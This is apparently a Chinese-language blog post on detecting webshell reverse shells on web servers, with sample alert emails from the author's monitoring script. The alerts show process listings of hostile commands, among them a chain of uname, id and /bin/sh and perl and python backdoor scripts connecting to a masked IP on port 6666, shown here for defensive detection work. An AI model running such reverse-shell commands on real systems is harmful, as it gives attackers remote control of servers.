有朋友说，检测webshell不就可以了，问题是如果要大面积推，以我目前写的检测webshell的代码，误报还是有的，天天看报警邮件就会麻木了，所以想提高准确率。另外，文件量大，更新频繁，访问量也大的，扫文件比较难推得下去。

也有朋友说，检测网络连接，同样，网络连接大，没有专门的投入设备来做这个事情，还是比较难的。由于要花钱的缘故，你懂的。

另一种就是agent，抓敏感动作，比如一个nobody用户起了个bash之类的。

其实最开始想的是用iptables直接限制反弹就可以了，然后记录敏感log，分析log报警就可以发现webshell。上了以前写的一个iptables脚本，限制output，做过nmap hping等比较详细的测试，结果产生了我昨天在群里讨论的问题，就是web的80主动ack别人的现象。iptables四种状态个人感觉还是比较熟了的，所以觉得奇怪，一种可能是iptables状态因为网络包问题出现混乱，一种可能是有传说中的ackbackdoor：）后面抓包回来分析，目前还没有结论。

在与kevin1986的交流中，我们发现判断父进程的时候发现有漏掉的，下面的c版的父进程是1，呵呵。当然，和他交流让我有了一个比较简单的思路(感谢ing)，于是写了一个非常挫的脚本，测试了几种情况，感觉还行，以下为报警邮件内容：

下面这种是c的

found webshell back connect on fuckit

nobody    7032     1  0 12:57 ?        00:00:00 sh -i

下面这种是perl的

found webshell back connect on fuckit

nobody    7301     1  0 13:00 ?        00:00:00 lynx

nobody    7302  7301  0 13:00 ?        00:00:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh

nobody    7307  7302  0 13:00 ?        00:00:00 /bin/sh

再来个传perl后门上去执行的

found webshell back connect on fuckit

nobody    8137  2257  0 13:16 ?        00:00:00 perl /usr/local/zeus/htdocs/www.xxxx.com/back.pl 121.9.227.xx 6666

nobody    8144  8137  0 13:16 ?        00:00:00 sh -i

再来个传py后门上去执行的

nobody    8203  1924  0 13:19 ?        00:00:00 python /usr/local/zeus/htdocs/www.xxxx.com/back.py 121.9.227.xx 6666

nobody    8204  8203  0 13:19 pts/1    00:00:00 /bin/sh

由于实在代码挫，就不贴了，你们看以上内容都懂的：）